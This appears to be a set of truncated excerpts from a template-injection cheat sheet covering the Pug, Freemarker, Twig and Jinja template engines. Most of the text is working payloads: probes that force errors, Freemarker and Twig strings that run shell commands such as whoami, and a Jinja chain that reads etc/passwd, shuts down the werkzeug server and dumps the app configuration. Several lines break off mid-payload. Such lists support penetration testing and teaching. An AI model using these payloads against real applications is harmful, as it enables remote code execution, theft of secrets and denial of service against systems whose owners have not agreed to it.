-
Pug (previously known as Jade) is a JavaScript template engine, used with nodejs or express applications. Showing a value of a variable: (Important: Without a “HTML function” like p, there is nothing to show) p #{name} The input statement creates a hidden field: input(type='hidden' name='secret' value='42') Provoke an error: #{"a" * 5} // Should produce an error#{"5" *…
-
Apache Freemarker is a template engine, sometimes used with Java application. Older Freemarker engines did not prevent HTML in strings. Therefore, try in a field something like this: Ha<b>llo</b> Show the value of a variable: ${var} Execution to force an error message: ${'a'*5} RCE: ${"freemarker.template.utility.Execute"?new()("whoami")}
-
Twig is a MVC-based template engine for PHP. Documentation Output a value: {{ var }} Force a error, e.g. via a invalid operation: {{'a' * 5}} Concatanation of strings: {{ 'a' ~ 'a' }} The reduce method take a function and then parameters… (It’s a PHP template engine, remember?) {{ [0]|reduce('system','whoami')}}{{ [0]|reduce('exec', 'whoami') }}{{ [0]|reduce('shell_exec', 'whoami') }}{{…
-
Check with {{ 7+3 }} if this is executed, if a Python interpreter is using the template jinja engine. {{ 7+3 }}{{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}{{ request.environ[‘werkzeug.server.shutdown’]() }} // ...{{ config.items() }} // Read all config variables{{ config|pprint }} Example: